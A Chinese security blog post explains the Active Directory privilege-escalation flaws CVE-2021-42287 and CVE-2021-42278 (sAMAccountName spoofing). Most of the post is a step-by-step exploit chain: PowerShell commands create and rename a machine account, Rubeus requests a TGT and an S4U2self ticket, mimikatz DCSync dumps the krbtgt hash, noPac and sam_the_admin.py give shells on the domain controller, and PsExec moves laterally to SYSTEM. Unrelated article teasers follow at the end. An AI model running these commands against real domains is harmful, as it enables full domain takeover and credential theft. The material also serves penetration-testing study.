CVE-2021-42287&CVE-2021-42278 域内提权

VSole2022-01-10 12:51:40

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、漏洞原理

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
  • 假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

二、手工复现

1、操作流程

# 1. create a computer account$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -ForceNew-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
# 2. clear its SPNsSet-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
# 3. rename the computer (computer -> DC)Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
# 4. obtain a TGTRubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
# 5. reset the computer nameSet-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
# 6. obtain a service ticket with S4U2self by presenting the previous TGTRubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
# 7. DCSync(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

2、拥有一个普通域账户

net user xxx /domain

3、尝试攻击

3.1、利用 powermad.ps1 新增机器帐号(域用户默认可以新建机器账户)

命令

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose

3.2、clear its SPNs(清除SPN信息)

Import-Module .\powerview.ps1Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose

3.3、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose


3.4、Request TGT (请求TGT)

.\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap

3.5、Change Machine Account samaccountname(改回原来属性)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose


3.6、Request S4U2self(获取票据)

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t

3.7、获取 kbrtgt 用户的 NTLM Hash

lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

三、sam-the-admin复现

前置条件:

需要一个域用户

利用过程:

拿主域控

python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

漏洞证明

拿子域控

python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

漏洞证明

问题

低版本的kali可能会面临可以拿到票据,但是无法列出命令执行的窗口

四、impacket工具包复现

五、CVE-2021-42287/CVE-2021-42278 工具利用

1、下载地址

github

2、实际操作

2.1、扫描探测

.oPac.exe scan -domain x.x.x -user x -pass 'x'

测试开始之前查看域控根目录提示拒绝访问

dir \x.x.x\c$

2.2、直接利用(打子域是同样方法)

./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt

此时已可以查看域控根目录

ls \x.x.x\c$

注意问题

如果使用cifs协议的话,时间过长之后票据会失效

如果使用ldap协议的话,票据不会失效

2.3、深度利用

使用PsExec横向移动

通过noPac.exe使用cifs协议后,可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器

PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe

利用过程

直接提升到system权限,查看IP确实为域控IP

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

网络安全domain
本作品采用《CC 协议》,转载必须注明作者和本文链接
通过对军事网络、党政内网以及军工企业内网等高安全等级网络面临的安全威胁和防御需求进行深入分析,结合对PDRR、P2DR现有安全模型的研究,提出了适用于高安全等级网络安全防御的P2DAR安全模型,并设计了与P2DAR安全模型适配的安全防御体系。该体系聚焦高安全等级网络安全威胁检测、安全威胁识别等关键问题,设计了威胁感知、威胁分析以及威胁处置等安全防御技术,能够为高安全等级网络安全防御提供有效防御。
漏洞及渗透练习平台 数据库注入练习平台 花式扫描器 信息搜集工具 WEB工具 windows域渗透工具 漏洞利用及攻击框架 漏洞POC&EXP 中间人攻击及钓鱼 密码pj 二进制及代码分析工具 EXP编写框架及工具 隐写相关工具 各类安全资料 各类CTF资源 各类编程资源 Python
根据2021年10月11日国家市场监督管理总局、国家标准化管理委员会发布的中华人民共和国国家标准公告(2021年第12号),全国信息安全标准化技术委员会归口的15项国家标准正式发布。具体清单如下:
Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文
免责声明 本工具仅面向 合法授权 的企业安全建设行为与个人学习行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 禁止对本软件实施逆向工程、反编译、试图破译源代码,植入后门传播恶意软件等行为。 如果发现上述禁止行为,我们将保留追究您法律责任的权利。 如您在使用本工具的过程中存在任何
当前,在新一轮科技产业革命与新冠肺炎疫情风险交织叠加之际,全球网络安全形势依然严峻,针对关键行业和新技术、新场景的网络安全威胁事件频发,迫使各国持续深化关键基础设施安全举措,强化新技术、新应用安全风险防范。我国网络安全立法和执法“双管齐下”,全力捍卫网络空间安全。受益于政策加码和安全需求释放,网络安全产业迎来复苏回暖。展望“十四五”时期,我国数字经济转向深化发展新阶段,为应对安全新形势、新挑战,网
过去两年最值得关注的,有趣的19家网络安全创业公司。
2021年,我们被屡破记录的赎金惊掉下巴,但不要忘了,数据泄露事情更值得警惕。他们攻破企业网络防线,盗取机密信息,但不同点在于,他们不直接对企业进行勒索,而是希望悄无声息,不被企业发现。 当这些信息在地下黑市出售时,你的电话、地址、甚至兴趣爱好等,就成了明码标价的商品,在买家手里一览无余。
VSole
网络安全专家